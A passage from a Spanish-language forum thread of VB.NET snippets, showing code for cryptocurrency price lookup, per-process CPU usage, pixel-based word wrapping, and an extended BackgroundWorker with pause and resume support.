  126.                Case Is = 1
  127.                    Return price
  128.                Case Is < 1
  129.                    Return (price / (1 / amount))
  130.                Case Else ' > 1
  131.                    Return (price * amount)
  132.            End Select
  133.  
  134.        End Using
  135.  
  136.    End Function
  137.  
  138. End Class

LISTO.

Modo de empleo para obtener la equivalencia de 1 bitcoins a dólares:
Código
  1. Dim btc As New Bitcoin()
  2. Dim price As Double = btc.GetPrice(Currencies.USD)
  3. Debug.WriteLine(String.Format("{0:C}", price, CultureInfo.CurrentCulture))

O tambien:
Código
  1. Dim cryptoCurrency As ICryptoCurrency = New Bitcoin()
  2. Dim price As Double = CryptoCurrencyUtil.GetCryptoCurrencyPrice(cryptoCurrency, 1, Currencies.USD)
  3. Debug.WriteLine(String.Format("{0:C}", price, CultureInfo.CurrentCulture))

Modo de empleo para obtener la equivalencia de 5.86 ethereums a dólares:
Código
  1. Dim eth As New Ethereum()
  2. Dim price As Double = eth.GetPrice(5.86, Currencies.USD)
  3. Debug.WriteLine(String.Format("{0:C}", price, CultureInfo.CurrentCulture))

O tambien:
Código
  1. Dim cryptoCurrency As ICryptoCurrency = New Ethereum()
  2. Dim price As Double = CryptoCurrencyUtil.GetCryptoCurrencyPrice(cryptoCurrency, 5.86, Currencies.USD)
  3. Debug.WriteLine(String.Format("{0:C}", price, CultureInfo.CurrentCulture))




EDITO:
Se me olvidaba comentar... que por supuesto el nombre de la criptomoneda debe ser soportado por la API en cuestión... o mejor dicho el identificador, el campo "id" (no el campo "name"), así que quizás quieran adaptar las representaciones de criptomonedas para añadirle una propiedad con nombre "id" para ese propósito...

Aquí pueden ver todos los campos que devuelve el documento JSON:
  • https://api.coinmarketcap.com/v1/ticker/

Nótese que en el caso de Bitcoin y Ethereum el nombre es igual que el identificador para la API, por eso lo he simplificado y no he implimentado el campo "Id", pero no todos los nombres son iguales que los identificadores, véase un ejemplo:
Cita de: https://api.coinmarketcap.com/v1/ticker/
...
id   "bitcoin-cash"
name   "Bitcoin Cash"
...

Saludos.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Enero 2018, 09:22 am
Como obtener el uso de porcentaje de CPU de un proceso

Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <summary>
  3.    ''' Gets the CPU percentage usage for the specified <see cref="Process"/>.
  4.    ''' </summary>
  5.    ''' ----------------------------------------------------------------------------------------------------
  6.    ''' <returns>
  7.    ''' The resulting CPU percentage usage for the specified <see cref="Process"/>.
  8.    ''' </returns>
  9.    ''' ----------------------------------------------------------------------------------------------------
  10.    <DebuggerStepThrough>
  11.    Public Shared Function GetProcessCPUPercentUsage(ByVal p As Process) As Double
  12.  
  13.        Using perf As New PerformanceCounter("Process", "% Processor Time", p.ProcessName, True)
  14.            perf.NextValue()
  15.            Thread.Sleep(TimeSpan.FromMilliseconds(250)) ' Recommended value: 1 second
  16.            Return (Math.Round(perf.NextValue() / Environment.ProcessorCount, 1))
  17.        End Using
  18.  
  19.    End Function
  20.  

primero hay que activar el uso de los contadores de rendimiento en el archivo de manifiesto de nuestra aplicación:
Código
  1. <?xml version="1.0" encoding="utf-8" ?>
  2. <configuration>
  3. ...
  4.  
  5.  <system.net>
  6.    <settings>
  7.      <performanceCounters enabled="true"/>
  8.    </settings>
  9.  </system.net>
  10.  
  11. ...
  12. </configuration>

Modo de empleo:
Código
  1. Do While True
  2.  
  3.    Using p As Process = Process.GetProcessesByName("NOMBRE DEL PROCESO").SingleOrDefault()
  4.        Dim str As String =
  5.            String.Format("Process Name: {0}; CPU Usage: {1}%",
  6.                          p.ProcessName, GetProcessCPUPercentUsage(p))
  7.  
  8.        Console.WriteLine(str)
  9.    End Using
  10.  
  11. Loop


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Febrero 2018, 10:51 am
¿Cómo hacer WordWrapping a un String?.

Teniendo un string, y una longitud máxima en pixels, esta función/extensión de método nos servirá para hacerle wordwrap a dicho string, y así ajustar las palabrás al límite de longitud especificado.

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Wraps words of the source <see cref="String"/> to the
  4. ''' beginning of the next line when necessary to fit the specified pixel width.
  5. ''' </summary>
  6. ''' ----------------------------------------------------------------------------------------------------
  7. ''' <remarks>
  8. ''' Credits to @undejavue solution: <see href="https://stackoverflow.com/a/36803501/1248295"/>
  9. ''' </remarks>
  10. ''' ----------------------------------------------------------------------------------------------------
  11. ''' <param name="sender">
  12. ''' The source <see cref="String"/>.
  13. ''' </param>
  14. '''
  15. ''' <param name="maxWidth">
  16. ''' The maximum width, in pixels.
  17. ''' </param>
  18. '''
  19. ''' <param name="font">
  20. ''' The text font.
  21. ''' </param>
  22. ''' ----------------------------------------------------------------------------------------------------
  23. ''' <returns>
  24. ''' The resulting string.
  25. ''' </returns>
  26. ''' ----------------------------------------------------------------------------------------------------
  27. <DebuggerStepThrough>
  28. <Extension>
  29. <EditorBrowsable(EditorBrowsableState.Always)>
  30. Public Function WordWrap(ByVal sender As String, ByVal maxWidth As Integer, ByVal font As Font) As String
  31.  
  32.    Dim sourceLines() As String = sender.Split({" "c}, StringSplitOptions.None)
  33.    Dim wrappedString As New Global.System.Text.StringBuilder()
  34.    Dim actualLine As New Global.System.Text.StringBuilder()
  35.    Dim actualWidth As Double = 0
  36.  
  37.    For Each line As String In sourceLines
  38.        Dim lineWidth As Integer = TextRenderer.MeasureText(line & " ", font).Width
  39.        actualWidth += lineWidth
  40.  
  41.        If (actualWidth > maxWidth) Then
  42.            wrappedString.AppendLine(actualLine.ToString())
  43.            actualLine.Clear()
  44.            actualWidth = lineWidth
  45.        End If
  46.  
  47.        actualLine.Append(line & " ")
  48.    Next line
  49.  
  50.    If (actualLine.Length > 0) Then
  51.        wrappedString.AppendLine(actualLine.ToString())
  52.    End If
  53.  
  54.    Return wrappedString.ToString()
  55.  
  56. End Function

Ejemplo de uso:

Código
  1. Dim tb As New TextBox With {
  2.        .Multiline = True,
  3.        .ScrollBars = ScrollBars.Both,
  4.        .WordWrap = False,
  5.        .Size = New Drawing.Size(width:=250, height:=200)
  6.    }
  7.  
  8. Dim text As String = "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."
  9. Dim wordWrappedText As String = text.WordWrap(tb.Width, tb.Font)
  10.  
  11. Me.Controls.Add(tb)
  12. tb.Text = wordWrappedText
  13.  
  14. Console.WriteLine(wordWrappedText)




Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Febrero 2018, 11:02 am
¿Cómo implementar funcionalidades de pausado y reanudado en un BackgroundWorker, y funcionalidades de iniciar y cancelar síncronas?.

Les presento el componente 'ElektroBackgroundWorker', es un BackgroundWorker extendido al que le añadí las funcionalidades ya mencionadas. Su modo de empleo es practicamente idéntico que un BackgroundWorker, tan solo mencionar que el equivalente al método 'BackgroundWorker.RunWorkerAsync()' es 'ElektroBackgroundWorker.RunAsync()'.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 02-February-2018
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. ' Imports ElektroKit.Core.Threading.Enums
  17.  
  18. Imports System.ComponentModel
  19. Imports System.Drawing
  20. Imports System.Threading
  21.  
  22. #End Region
  23.  
  24. #Region " ElektroBackgroundWorker "
  25.  
  26. ' Namespace Threading.Types
  27.  
  28.    ''' ----------------------------------------------------------------------------------------------------
  29.    ''' <summary>
  30.    ''' A extended <see cref="BackgroundWorker"/> component
  31.    ''' with synchronous (blocking) run/cancellation support,
  32.    ''' and asynchronous pause/resume features.
  33.    ''' </summary>
  34.    ''' ----------------------------------------------------------------------------------------------------
  35.    ''' <example> This is a code example.
  36.    ''' <code>
  37.    ''' Friend WithEvents Worker As ElektroBackgroundWorker
  38.    '''
  39.    ''' Private Sub Button_Run_Click() Handles Button_Run.Click
  40.    '''
  41.    '''     If (Me.Worker IsNot Nothing) Then
  42.    '''
  43.    '''         Select Case Me.Worker.State
  44.    '''             Case ElektroBackgroundWorkerState.Running, ElektroBackgroundWorkerState.Paused
  45.    '''                 Me.Worker.Cancel()
  46.    '''             Case Else
  47.    '''                 ' Do Nothing.
  48.    '''         End Select
  49.    '''
  50.    '''     End If
  51.    '''
  52.    '''     Me.Worker = New ElektroBackgroundWorker
  53.    '''     Me.Worker.RunAsync()
  54.    '''
  55.    ''' End Sub
  56.    '''
  57.    ''' Private Sub Button_Pause_Click() Handles Button_Pause.Click
  58.    '''     Me.Worker.RequestPause()
  59.    ''' End Sub
  60.    '''
  61.    ''' Private Sub Button_Resume_Click() Handles Button_Resume.Click
  62.    '''     Me.Worker.Resume()
  63.    ''' End Sub
  64.    '''
  65.    ''' Private Sub Button_Cancel_Click() Handles Button_Cancel.Click
  66.    '''     Me.Worker.Cancel()
  67.    ''' End Sub
  68.    '''
  69.    ''' ''' ----------------------------------------------------------------------------------------------------
  70.    ''' ''' &lt;summary&gt;
  71.    ''' ''' Handles the &lt;see cref="ElektroBackgroundWorker.DoWork"/&gt; event of the &lt;see cref="Worker"/&gt; instance.
  72.    ''' ''' &lt;/summary&gt;
  73.    ''' ''' ----------------------------------------------------------------------------------------------------
  74.    ''' ''' &lt;param name="sender"&gt;
  75.    ''' ''' The source of the event.
  76.    ''' ''' &lt;/param&gt;
  77.    ''' '''
  78.    ''' ''' &lt;param name="e"&gt;
  79.    ''' ''' The &lt;see cref="DoWorkEventArgs"/&gt; instance containing the event data.
  80.    ''' ''' &lt;/param&gt;
  81.    ''' ''' ----------------------------------------------------------------------------------------------------
  82.    ''' &lt;DebuggerStepperBoundary&gt;
  83.    ''' Private Sub Worker_DoWork(ByVal sender As Object, ByVal e As DoWorkEventArgs) _
  84.    ''' Handles Worker.DoWork
  85.    '''
  86.    '''     Dim progress As Integer
  87.    '''
  88.    '''     Dim lock As Object = ""
  89.    '''     SyncLock lock
  90.    '''
  91.    '''         For i As Integer = 0 To 100
  92.    '''             If (Me.Worker.CancellationPending) Then ' Cancel the background operation.
  93.    '''                 e.Cancel = True
  94.    '''                 Exit For
  95.    '''
  96.    '''             Else
  97.    '''                 If (Me.Worker.PausePending) Then ' Pause the background operation.
  98.    '''                     Me.Worker.Pause() ' Blocking pause call.
  99.    '''                 End If
  100.    '''
  101.    '''                 Me.DoSomething()
  102.    '''
  103.    '''                 If Me.Worker.WorkerReportsProgress Then
  104.    '''                     progress = i
  105.    '''                     Me.Worker.ReportProgress(progress)
  106.    '''                 End If
  107.    '''
  108.    '''             End If
  109.    '''
  110.    '''         Next i
  111.    '''
  112.    '''     End SyncLock
  113.    '''
  114.    '''     If (Me.Worker.WorkerReportsProgress) AndAlso Not (Me.Worker.CancellationPending) AndAlso (progress &lt; 100) Then
  115.    '''         Me.Worker.ReportProgress(percentProgress:=100)
  116.    '''     End If
  117.    '''
  118.    ''' End Sub
  119.    '''
  120.    ''' ''' ----------------------------------------------------------------------------------------------------
  121.    ''' ''' &lt;summary&gt;
  122.    ''' ''' Handles the &lt;see cref="ElektroBackgroundWorker.ProgressChanged"/&gt; event of the &lt;see cref="Worker"/&gt; instance.
  123.    ''' ''' &lt;/summary&gt;
  124.    ''' ''' ----------------------------------------------------------------------------------------------------
  125.    ''' ''' &lt;param name="sender"&gt;
  126.    ''' ''' The source of the event.
  127.    ''' ''' &lt;/param&gt;
  128.    ''' '''
  129.    ''' ''' &lt;param name="e"&gt;
  130.    ''' ''' The &lt;see cref="ProgressChangedEventArgs"/&gt; instance containing the event data.
  131.    ''' ''' &lt;/param&gt;
  132.    ''' ''' ----------------------------------------------------------------------------------------------------
  133.    ''' &lt;DebuggerStepperBoundary&gt;
  134.    ''' Private Sub Worker_ProgressChanged(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) _
  135.    ''' Handles Worker.ProgressChanged
  136.    '''
  137.    '''     Console.WriteLine(String.Format("Background Work Progress: {00}%", e.ProgressPercentage))
  138.    '''
  139.    ''' End Sub
  140.    '''
  141.    ''' ''' ----------------------------------------------------------------------------------------------------
  142.    ''' ''' &lt;summary&gt;
  143.    ''' ''' Handles the &lt;see cref="ElektroBackgroundWorker.RunWorkerCompleted"/&gt; event of the &lt;see cref="Worker"/&gt; instance.
  144.    ''' ''' &lt;/summary&gt;
  145.    ''' ''' ----------------------------------------------------------------------------------------------------
  146.    ''' ''' &lt;param name="sender"&gt;
  147.    ''' ''' The source of the event.
  148.    ''' ''' &lt;/param&gt;
  149.    ''' '''
  150.    ''' ''' &lt;param name="e"&gt;
  151.    ''' ''' The &lt;see cref="RunWorkerCompletedEventArgs"/&gt; instance containing the event data.
  152.    ''' ''' &lt;/param&gt;
  153.    ''' ''' ----------------------------------------------------------------------------------------------------
  154.    ''' &lt;DebuggerStepperBoundary&gt;
  155.    ''' Private Sub Worker_RunWorkerCompleted(ByVal sender As Object, ByVal e As RunWorkerCompletedEventArgs) _
  156.    ''' Handles Worker.RunWorkerCompleted
  157.    '''
  158.    '''     If (e.Cancelled) Then
  159.    '''         Debug.WriteLine("Background work cancelled.")
  160.    '''
  161.    '''     ElseIf (e.Error IsNot Nothing) Then
  162.    '''         Debug.WriteLine("Background work error.")
  163.    '''
  164.    '''     Else
  165.    '''         Debug.WriteLine("Background work done.")
  166.    '''
  167.    '''     End If
  168.    '''
  169.    '''     Console.WriteLine(String.Format("State: {0}", Me.Worker.State.ToString()))
  170.    '''
  171.    ''' End Sub
  172.    '''
  173.    ''' &lt;DebuggerStepperBoundary&gt;
  174.    ''' Private Sub DoSomething()
  175.    '''     Thread.Sleep(TimeSpan.FromSeconds(1))
  176.    ''' End Sub
  177.    ''' </code>
  178.    ''' </example>
  179.    ''' ----------------------------------------------------------------------------------------------------
  180.    ''' <seealso cref="BackgroundWorker" />
  181.    ''' ----------------------------------------------------------------------------------------------------
  182.    <DisplayName("ElektroBackgroundWorker")>
  183.    <Description("A extended BackgroundWorker component, with synchronous (blocking) run/cancellation support, and asynchronous pause/resume features.")>
  184.    <DesignTimeVisible(True)>
  185.    <DesignerCategory("Component")>
  186.    <ToolboxBitmap(GetType(Component), "Component.bmp")>
  187.    <ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Require)>
  188.    <DefaultEvent("DoWork")>
  189.    Public Class ElektroBackgroundWorker : Inherits BackgroundWorker
  190.  
  191. #Region " Private Fields "
  192.  
  193.        ''' ----------------------------------------------------------------------------------------------------
  194.        ''' <summary>
  195.        ''' A <see cref="ManualResetEvent"/> that serves to handle synchronous operations (Run, Cancel, Pause, Resume).
  196.        ''' </summary>
  197.        ''' ----------------------------------------------------------------------------------------------------
  198.        Protected ReadOnly mreSync As ManualResetEvent
  199.  
  200.        ''' ----------------------------------------------------------------------------------------------------
  201.        ''' <summary>
  202.        ''' A <see cref="ManualResetEvent"/> that serves to handle asynchronous operations (RunAsync, CancelAsync, RequestPause).
  203.        ''' </summary>
  204.        ''' ----------------------------------------------------------------------------------------------------
  205.        Protected ReadOnly mreAsync As ManualResetEvent
  206.  
  207.        ''' ----------------------------------------------------------------------------------------------------
  208.        ''' <summary>
  209.        ''' Indicates whether the <see cref="BackGroundworker"/> has been initiated in synchronous mode.
  210.        ''' </summary>
  211.        ''' ----------------------------------------------------------------------------------------------------
  212.        Protected isRunSync As Boolean
  213.  
  214.        ''' ----------------------------------------------------------------------------------------------------
  215.        ''' <summary>
  216.        ''' Indicates whether a synchronous cancellation operation is requested.
  217.        ''' </summary>
  218.        ''' ----------------------------------------------------------------------------------------------------
  219.        Protected isCancelSyncRequested As Boolean
  220.  
  221.        ''' ----------------------------------------------------------------------------------------------------
  222.        ''' <summary>
  223.        ''' Indicates whether a (asynchronous) pause operation is requested.
  224.        ''' </summary>
  225.        ''' ----------------------------------------------------------------------------------------------------
  226.        Protected isPauseRequested As Boolean
  227.  
  228. #End Region
  229.  
  230. #Region " Properties "
  231.  
  232.        ''' ----------------------------------------------------------------------------------------------------
  233.        ''' <summary>
  234.        ''' Gets a value indicating whether the <see cref="ElektroBackgroundWorker"/> can report progress updates.
  235.        ''' </summary>
  236.        ''' ----------------------------------------------------------------------------------------------------
  237.        ''' <value>
  238.        ''' <see langword="True"/> if can report progress updates; otherwise, <see langword="False"/>.
  239.        ''' </value>
  240.        ''' ----------------------------------------------------------------------------------------------------
  241.        <Browsable(False)>
  242.        <EditorBrowsable(EditorBrowsableState.Always)>
  243.        <Description("A value indicating whether the ElektroBackgroundWorker can report progress updates.")>
  244.        Public Overloads ReadOnly Property WorkerReportsProgress As Boolean
  245.            Get
  246.                Return MyBase.WorkerReportsProgress
  247.            End Get
  248.        End Property
  249.  
  250.        ''' ----------------------------------------------------------------------------------------------------
  251.        ''' <summary>
  252.        ''' Gets a value indicating whether the <see cref="ElektroBackgroundWorker"/> supports asynchronous cancellation.
  253.        ''' </summary>
  254.        ''' ----------------------------------------------------------------------------------------------------
  255.        ''' <value>
  256.        ''' <see langword="True"/> if supports asynchronous cancellation; otherwise, <see langword="False"/>.
  257.        ''' </value>
  258.        ''' ----------------------------------------------------------------------------------------------------
  259.        <Browsable(False)>
  260.        <EditorBrowsable(EditorBrowsableState.Always)>
  261.        <Description("A value indicating whether the ElektroBackgroundWorker supports asynchronous cancellation.")>
  262.        Public Overloads ReadOnly Property WorkerSupportsCancellation As Boolean
  263.            Get
  264.                Return MyBase.WorkerSupportsCancellation
  265.            End Get
  266.        End Property
  267.  
  268.        ''' ----------------------------------------------------------------------------------------------------
  269.        ''' <summary>
  270.        ''' Gets the current state of a pending background operation.
  271.        ''' </summary>
  272.        ''' ----------------------------------------------------------------------------------------------------
  273.        ''' <value>
  274.        ''' The current state of a pending background operation.
  275.        ''' </value>
  276.        ''' ----------------------------------------------------------------------------------------------------
  277.        <Browsable(False)>
  278.        <EditorBrowsable(EditorBrowsableState.Always)>
  279.        <Description("The current state of a pending background operation.")>
  280.        Public ReadOnly Property State As ElektroBackgroundWorkerState
  281.            <DebuggerStepThrough>
  282.            Get
  283.                Return Me.stateB
  284.            End Get
  285.        End Property
  286.        ''' ----------------------------------------------------------------------------------------------------
  287.        ''' <summary>
  288.        ''' ( Backing Field )
  289.        ''' The current state of a pending background operation.
  290.        ''' </summary>
  291.        ''' ----------------------------------------------------------------------------------------------------
  292.        Private stateB As ElektroBackgroundWorkerState = ElektroBackgroundWorkerState.Stopped
  293.  
  294.        ''' ----------------------------------------------------------------------------------------------------
  295.        ''' <summary>
  296.        ''' Gets a value indicating whether the application has requested pause of a background operation.
  297.        ''' </summary>
  298.        ''' ----------------------------------------------------------------------------------------------------
  299.        ''' <value>
  300.        ''' <see langword="True"/> if the application has requested pause of a background operation;
  301.        ''' otherwise, false.
  302.        ''' </value>
  303.        ''' ----------------------------------------------------------------------------------------------------
  304.        <Browsable(False)>
  305.        <EditorBrowsable(EditorBrowsableState.Always)>
  306.        <Description("A value indicating whether the application has requested pause of a background operation.")>
  307.        Public ReadOnly Property PausePending As Boolean
  308.            Get
  309.                Return Me.isPauseRequested
  310.            End Get
  311.        End Property
  312.  
  313. #End Region
  314.  
  315. #Region " Constructors "
  316.  
  317.        ''' ----------------------------------------------------------------------------------------------------
  318.        ''' <summary>
  319.        ''' Initializes a new instance of the <see cref="ElektroBackgroundWorker"/> class.
  320.        ''' </summary>
  321.        ''' ----------------------------------------------------------------------------------------------------
  322.        <DebuggerNonUserCode>
  323.        Public Sub New()
  324.            Me.mreSync = New ManualResetEvent(initialState:=False)
  325.            Me.mreAsync = New ManualResetEvent(initialState:=True)
  326.        End Sub
  327.  
  328. #End Region
  329.  
  330. #Region " Public Methods "
  331.  
  332.        ''' ----------------------------------------------------------------------------------------------------
  333.        ''' <summary>
  334.        ''' Starts execution of a background operation.
  335.        ''' <para></para>
  336.        ''' It blocks the caller thread until the background work is done.
  337.        ''' </summary>
  338.        ''' ----------------------------------------------------------------------------------------------------
  339.        ''' <exception cref="InvalidOperationException">
  340.        ''' In order to run the BackgroundWorker, the background operation must be stopped or completed.
  341.        ''' </exception>
  342.        ''' ----------------------------------------------------------------------------------------------------
  343.        <DebuggerStepThrough>
  344.        Public Overridable Sub Run()
  345.  
  346.            If (Me Is Nothing) Then
  347.                Throw New ObjectDisposedException(objectName:="Me")
  348.  
  349.            Else
  350.                Select Case Me.stateB
  351.  
  352.                    Case ElektroBackgroundWorkerState.Stopped, ElektroBackgroundWorkerState.Completed
  353.                        Me.isRunSync = True
  354.                        MyBase.WorkerReportsProgress = False
  355.                        MyBase.WorkerSupportsCancellation = False
  356.                        MyBase.RunWorkerAsync()
  357.                        Me.stateB = ElektroBackgroundWorkerState.Running
  358.                        Me.mreSync.WaitOne()
  359.  
  360.                    Case Else
  361.                        Throw New InvalidOperationException("In order to run the BackgroundWorker, the background operation must be stopped or completed.")
  362.  
  363.                End Select
  364.  
  365.            End If
  366.  
  367.        End Sub
  368.  
  369.        ''' ----------------------------------------------------------------------------------------------------
  370.        ''' <summary>
  371.        ''' Asynchronously starts execution of a background operation.
  372.        ''' </summary>
  373.        ''' ----------------------------------------------------------------------------------------------------
  374.        ''' <exception cref="InvalidOperationException">
  375.        ''' In order to run the BackgroundWorker, the background operation must be stopped or completed.
  376.        ''' </exception>
  377.        ''' ----------------------------------------------------------------------------------------------------
  378.        <DebuggerStepThrough>
  379.        Public Overridable Sub RunAsync()
  380.  
  381.            If (Me Is Nothing) Then
  382.                Throw New ObjectDisposedException(objectName:="Me")
  383.  
  384.            Else
  385.                Select Case Me.stateB
  386.  
  387.                    Case ElektroBackgroundWorkerState.Stopped, ElektroBackgroundWorkerState.Completed
  388.                        MyBase.WorkerReportsProgress = True
  389.                        MyBase.WorkerSupportsCancellation = True
  390.                        MyBase.RunWorkerAsync()
  391.                        Me.stateB = ElektroBackgroundWorkerState.Running
  392.  
  393.                    Case Else
  394.                        Throw New InvalidOperationException("In order to run the BackgroundWorker, the background operation must be stopped or completed.")
  395.  
  396.                End Select
  397.  
  398.            End If
  399.  
  400.        End Sub
  401.  
  402.        ''' ----------------------------------------------------------------------------------------------------
  403.        ''' <summary>
  404.        ''' Pause a pending background operation.
  405.        ''' <para></para>
  406.        ''' It blocks the caller thread until the background work is resumed.
  407.        ''' To resume the background work, call the <see cref="ElektroBackgroundWorker.Resume"/> method.
  408.        ''' </summary>
  409.        ''' ----------------------------------------------------------------------------------------------------
  410.        ''' <exception cref="InvalidOperationException">
  411.        ''' In order to pause the BackgroundWorker, firstly a pause request should be made.
  412.        ''' </exception>
  413.        '''
  414.        ''' <exception cref="InvalidOperationException">
  415.        ''' In order to pause the BackgroundWorker, the background operation must be be running.
  416.        ''' </exception>
  417.        ''' ----------------------------------------------------------------------------------------------------
  418.        <DebuggerStepThrough>
  419.        Public Overridable Sub Pause()
  420.  
  421.            If (Me Is Nothing) Then
  422.                Throw New ObjectDisposedException(objectName:="Me")
  423.  
  424.            Else
  425.                Select Case Me.stateB
  426.  
  427.                    Case ElektroBackgroundWorkerState.Running
  428.                        If (Me.PausePending) Then
  429.                            Me.mreAsync.WaitOne(Timeout.Infinite)
  430.                        Else
  431.                            Throw New InvalidOperationException("In order to pause the BackgroundWorker, firstly a pause request should be made.")
  432.                        End If
  433.  
  434.                    Case Else
  435.                        Throw New InvalidOperationException("In order to pause the BackgroundWorker, the background operation must be running.")
  436.  
  437.                End Select
  438.  
  439.            End If
  440.  
  441.        End Sub
  442.  
  443.        ''' ----------------------------------------------------------------------------------------------------
  444.        ''' <summary>
  445.        ''' Asynchronously requests to pause a pending background operation.
  446.        ''' <para></para>
  447.        ''' To pause the background work after requesting a pause,
  448.        ''' call the <see cref="ElektroBackgroundWorker.Pause"/> method.
  449.        ''' </summary>
  450.        ''' ----------------------------------------------------------------------------------------------------
  451.        ''' <exception cref="InvalidOperationException">
  452.        ''' In order to request a pause of the BackgroundWorker, the background operation must be running.
  453.        ''' </exception>
  454.        ''' ----------------------------------------------------------------------------------------------------
  455.        <DebuggerStepThrough>
  456.        Public Overridable Sub RequestPause()
  457.  
  458.            If (Me Is Nothing) Then
  459.                Throw New ObjectDisposedException(objectName:="Me")
  460.  
  461.            Else
  462.                Select Case Me.stateB
  463.  
  464.                    Case ElektroBackgroundWorkerState.Running
  465.                        Me.isPauseRequested = True
  466.                        Me.stateB = ElektroBackgroundWorkerState.Paused
  467.                        Me.mreAsync.Reset()
  468.  
  469.                    Case Else
  470.                        Throw New InvalidOperationException("In order to request a pause of the BackgroundWorker, the background operation must be running..")
  471.  
  472.                End Select
  473.  
  474.            End If
  475.  
  476.        End Sub
  477.  
  478.        ''' ----------------------------------------------------------------------------------------------------
  479.        ''' <summary>
  480.        ''' Resume a pending paused background operation.
  481.        ''' </summary>
  482.        ''' ----------------------------------------------------------------------------------------------------
  483.        ''' <exception cref="InvalidOperationException">
  484.        ''' In order to resume the BackgroundWorker, the background operation must be paused.
  485.        ''' </exception>
  486.        ''' ----------------------------------------------------------------------------------------------------
  487.        <DebuggerStepThrough>
  488.        Public Overridable Sub [Resume]()
  489.  
  490.            If (Me Is Nothing) Then
  491.                Throw New ObjectDisposedException(objectName:="Me")
  492.  
  493.            Else
  494.                Select Case Me.stateB
  495.  
  496.                    Case ElektroBackgroundWorkerState.Paused
  497.                        Me.stateB = ElektroBackgroundWorkerState.Running
  498.                        Me.isPauseRequested = False
  499.                        Me.mreAsync.Set()
  500.  
  501.                    Case Else
  502.                        Throw New InvalidOperationException("In order to resume the BackgroundWorker, the background operation must be paused.")
  503.  
  504.                End Select
  505.  
  506.            End If
  507.  
  508.        End Sub
  509.  
  510.        ''' ----------------------------------------------------------------------------------------------------
  511.        ''' <summary>
  512.        ''' Requests cancellation of a pending background operation.
  513.        ''' <para></para>
  514.        ''' It blocks the caller thread until the remaining background work is canceled.
  515.        ''' </summary>
  516.        ''' ----------------------------------------------------------------------------------------------------
  517.        ''' <exception cref="InvalidOperationException">
  518.        ''' In order to cancel the BackgroundWorker, the background operation must be running or paused.
  519.        ''' </exception>
  520.        ''' ----------------------------------------------------------------------------------------------------
  521.        <DebuggerStepThrough>
  522.        Public Overridable Sub Cancel()
  523.  
  524.            Me.isCancelSyncRequested = True
  525.            Me.CancelAsync()
  526.            Me.mreSync.WaitOne()
  527.            Me.isCancelSyncRequested = False
  528.  
  529.        End Sub
  530.  
  531.        ''' ----------------------------------------------------------------------------------------------------
  532.        ''' <summary>
  533.        ''' Asynchronously requests cancellation of a pending background operation.
  534.        ''' </summary>
  535.        ''' ----------------------------------------------------------------------------------------------------
  536.        ''' <exception cref="InvalidOperationException">
  537.        ''' In order to cancel the BackgroundWorker, the background operation must be running or paused.
  538.        ''' </exception>
  539.        ''' ----------------------------------------------------------------------------------------------------
  540.        <DebuggerStepThrough>
  541.        Public Overridable Overloads Sub CancelAsync()
  542.  
  543.            If (Me Is Nothing) Then
  544.                Throw New ObjectDisposedException(objectName:="Me")
  545.  
  546.            Else
  547.                Select Case Me.stateB
  548.  
  549.                    Case ElektroBackgroundWorkerState.CancellationPending
  550.                        Exit Sub
  551.  
  552.                    Case ElektroBackgroundWorkerState.Running, ElektroBackgroundWorkerState.Paused
  553.                        Me.mreAsync.Set() ' Resume thread if it is paused.
  554.                        Me.stateB = ElektroBackgroundWorkerState.CancellationPending
  555.                        MyBase.CancelAsync() ' Cancel it.
  556.  
  557.                    Case Else
  558.                        Throw New InvalidOperationException("In order to cancel the BackgroundWorker, the background operation must be running or paused.")
  559.  
  560.                End Select
  561.  
  562.            End If
  563.  
  564.        End Sub
  565.  
  566. #End Region
  567.  
  568. #Region " Event Invocators "
  569.  
  570.        ''' ----------------------------------------------------------------------------------------------------
  571.        ''' <summary>
  572.        ''' Raises the <see cref="BackgroundWorker.DoWork"/> event.
  573.        ''' </summary>
  574.        ''' ----------------------------------------------------------------------------------------------------
  575.        ''' <param name="e">
  576.        ''' An <see cref="EventArgs"/> that contains the event data.
  577.        ''' </param>
  578.        ''' ----------------------------------------------------------------------------------------------------
  579.        Protected Overrides Sub OnDoWork(e As DoWorkEventArgs)
  580.            MyBase.OnDoWork(e)
  581.  
  582.            If (Me.isRunSync) OrElse (Me.isCancelSyncRequested) Then
  583.                Me.mreSync.Set()
  584.            End If
  585.        End Sub
  586.  
  587.        ''' ----------------------------------------------------------------------------------------------------
  588.        ''' <summary>
  589.        ''' Raises the <see cref="BackgroundWorker.ProgressChanged"/> event.
  590.        ''' </summary>
  591.        ''' ----------------------------------------------------------------------------------------------------
  592.        ''' <param name="e">
  593.        ''' An <see cref="ProgressChangedEventArgs"/> that contains the event data.
  594.        ''' </param>
  595.        ''' ----------------------------------------------------------------------------------------------------
  596.        Protected Overrides Sub OnProgressChanged(e As ProgressChangedEventArgs)
  597.            MyBase.OnProgressChanged(e)
  598.        End Sub
  599.  
  600.        ''' ----------------------------------------------------------------------------------------------------
  601.        ''' <summary>
  602.        ''' Raises the <see cref="BackgroundWorker.RunWorkerCompleted"/> event.
  603.        ''' </summary>
  604.        ''' ----------------------------------------------------------------------------------------------------
  605.        ''' <param name="e">
  606.        ''' An <see cref="RunWorkerCompletedEventArgs"/> that contains the event data.
  607.        ''' </param>
  608.        ''' ----------------------------------------------------------------------------------------------------
  609.        Protected Overrides Sub OnRunWorkerCompleted(e As RunWorkerCompletedEventArgs)
